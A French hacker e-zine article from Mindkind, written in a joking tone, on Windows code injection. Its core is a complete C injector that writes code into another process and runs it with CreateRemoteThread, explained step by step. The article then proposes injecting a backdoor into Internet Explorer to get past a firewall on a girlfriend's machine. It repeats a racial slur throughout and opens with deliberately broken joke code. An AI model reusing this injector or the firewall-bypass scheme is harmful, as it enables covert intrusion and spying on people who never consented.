.-- -- ---- ----.
     	 ___|  MKD1001\013  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                                                 |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                       La Piqure du poulet
   
  	                                       AKA

				   brulez moi ce type vivant !!!
                                      


La piqure du poulet

I)Intro
-------


En ces temps sombres ou les poulets sont devenus les pires ennemis de  l'humanitee  il me faut 
reagir, une seule solution lancer un antidote ! 

#DEFINE Epouvette_size 16

int AndidoteFactory(char * target)
{
	int vaccin;
	printf("Fabrication de l'antidote contre: %s\n",target);
	/*
	Procedure top-secrete on montre pas ! 
	*/
	return vaccin
	
}

int main(int argc,char *argv[])
{
  int solution;
	char buff[Eprouvette_size];
	if argc(!=2)
	{
	printf("Usage is: antidote <target>\n");
	return -1,
	}
	
	solution=AntidoteFactory(argv[1]);
	
	printf("La solution est prete!\n Veuillez aller la recuperer a l'acceuil de Minkind Corporation\n);	
	return 0;	
}


Aller fini de troller la. Le sujet du jour sera l'injection de code dans un  poulet heu.. dans 
un processus et nous allons notamment utiliser le shellcode  generique  que  j'ai  pondu  dans 
Intelligent  Windowz  Shellcodes. La  chose  est  simple  on choisi un process, on l'ouvre, on 
balance le code, on l'execute puis on se casse bref un peu comme avec les poulets.

II)Ching Chong ou la methode chinoise
---------------------------------------

Ban je balance le vaccint et j'explique :)

------------CUT HERE--------------------
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>

#define WIN32_LEAN_AND_MEAN

int NameToPid(char *ProcessName);

int main (int argc,char *argv[])
{
	if (argc !=2){
	printf("Usage is :inject <process>\n");
	exit(-1);
	}

	char code[]="\x33\xC0\xC3"; //xor,eax,eax ret

	printf("[*]Ownage du processus: %s\n",argv[1]);

	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, NameToPid(argv[1]));
	
	if(hProc==NULL)
	{
	printf("Error with OpenProcess: %d\n",GetLastError());
	exit(-1);
	}
	
	printf("[*]Handle: 0x%x\n",hProc);
	
	int cbCodeSize = sizeof(code);
	printf("[*]CodeSize: %d\n",cbCodeSize);

	// on copie le code
	LPVOID CodeMem = VirtualAllocEx(hProc, NULL, cbCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	if (CodeMem==NULL)
	{
	printf("Error with VirtualAllocEx: %d\n",GetLastError());
	exit(-1);
	}
	
	printf("[*]Emplacement memoire: 0x%x\n",CodeMem);

	if (WriteProcessMemory(hProc, CodeMem, &code, cbCodeSize, 0) == FALSE)
	{
	printf("Error with WriteProcessMemory: %d\n",GetLastError());
	exit(-1);
	}

	DWORD ThreadID;
	HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) CodeMem ,0, 0, &ThreadID);
	
	if (hThread==NULL)
	{
	printf("Error with CreateRemoteThread: %d\n",GetLastError());
	exit(-1);
	}

	if (WaitForSingleObject(hThread, INFINITE)==WAIT_FAILED)
	{
	printf("Error with WaitForSingleObject: %d\n",GetLastError());
	exit(-1);
	}

	if(VirtualFreeEx(hProc, CodeMem, 0, MEM_DECOMMIT)==FALSE)
	{
	printf("Error with VirtualFreeEx: %d\n",GetLastError());
	//exit(-1);
	}


	if(CloseHandle(hThread)==FALSE)
	{
	printf("Error with CloseHandle: %d\n",GetLastError());
	//exit(-1);
	}

	printf("[*]Target injected\n");
return 0;

}

int NameToPid(char *ProcessName)
{
  HANDLE hProcessSnap;
  PROCESSENTRY32 pe32;


  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  if(hProcessSnap == INVALID_HANDLE_VALUE)
  {
   printf("Error with CreateToolhelp32Snapshot: 0x%x\n",GetLastError() );
   exit(-1);
  }

  pe32.dwSize = sizeof(PROCESSENTRY32);

  if( !Process32First( hProcessSnap, &pe32 ) )
  {
    printf("Error with Process32First: %d\n",GetLastError());  
    CloseHandle(hProcessSnap);    
    exit(-1);
  }

 while(_stricmp(pe32.szExeFile,ProcessName)!=0) //_stricmp fuck la case sensitive
 {
	if(Process32Next(hProcessSnap,&pe32)==FALSE)
	{
	printf("Error with Process32Next: %d\n",GetLastError());  
    CloseHandle(hProcessSnap);     
    exit(-1);
	}
 }
	
	CloseHandle(hProcessSnap);

	return pe32.th32ProcessID;

}

------------CUT HERE--------------------

Ban c'est pas tres dur, il suffit de donner le nom du processus a injecter et  paf  le poulet. 
En fait je vais un expliquer un chtit peu:

D'abord un recuper un pseudo-handle sur le process avec  OpenProcess,  la  fonction  NameToPid 
permet comme sont nom l'indique de trouver le PID du  process (faites  ALT+CTRL+SUPPR et ds le 
gestionnaire des taches vous pourrez les voir... hey du  calme je vois venir bande de pervers, 
c'est pas des filles apwal les PID! ..dmg d'ailleur).

Ensuite  on  aloue  un  peu  memoire  ds le process avec VirtualAllocEx tout simplement :), on 
specifie juste la taille que l'on veut et des infos sur ce qu'on va faire avec.

Apres on envoie le code avec WriteProcessMemory jusqu'a la je pense pas que  vous  soyez  trop 
perdu. Puis on l'execute avec CreateRemoteThread.

On  attend  que  sa  soit  cuit  avec  WaitForSingleObject  puis  on  libere  la  memoire avec 
VirtualFreeEx et quitte avec CloseHandle.

*----------------* 
| Ching Chong !! | 
*----------------*

Le soucis c'est que notre code injecte ne sait pas ou il est le pauvre, il est  seul  dans  un 
monde qu'il ne connait pas, il faut donc qu'il trouve sont petit  chemin  tout  seul :) Ho bah 
vous me direz pkoi pas ne pas utiliser un shellcode  generique !  c'etait la fameuse technique 
chinoise !! 

Ici le code est tout bete: xor eax,eax //eax=0 ret //on se casse

Mais  ce  qui  serait  plus interressant ca serais d'executer un code ouvrant un shell, ou une 
reverse backdoor. La nous arrivons dans un monde ou l'on peut contourner un firewall !!!

III)Coup de tete, balayette!! 
------------------------------

He nan mdes et msieurs vous ne revez on peut grace a  l'injection  de  code  contournez un fw. 
Imaginer que l'ordi que vous attaquer soit protege par un firewall, vous envoyer un prog  (ici 
une backdoor par ex) par msn a votre tite  amie pour savoir si elle ne voue pas un culte  a la 
secte des poulets, bref elle  le  recoit et le lance (vraiment une belle dinde celle la) et la 
ching chong ! le firewall block l'ouverture du port de votre backdoor ...snirf :( Mais avec ce 
new produit toutes vos taches disparaiteront en un moins de tps ! En  effet  si  on  envoie un 
prog  qui  inject  du  code  ds  un  process  comme iexplorer.exe (internet  explorer)  qui  a 
normalement l'autorisation d'aller sur le web le firewall  n'interdira pas  l'acces  au net et 
ching chong ! vous aurez acces au paycay de votre cherie.

Ban j'avoue ya un peu de reve la dedans car il faut que: 
1)le process soit lance 
2)qu'il soit autorise a acceder au net 
3)que  le  fw  soit  vraiment  pourri  car  je  crois que les recents savent detecter ce genre 
  d'attaque :(

Mais ca je le ferais ds un prochain article. Je suis dsl j'ai plus le tps pour le moment.

Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind.
EMail: ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118




     	.-----.           		         	       		                         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									                                         |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by IvanLeFou  |
           			                              '--------------------'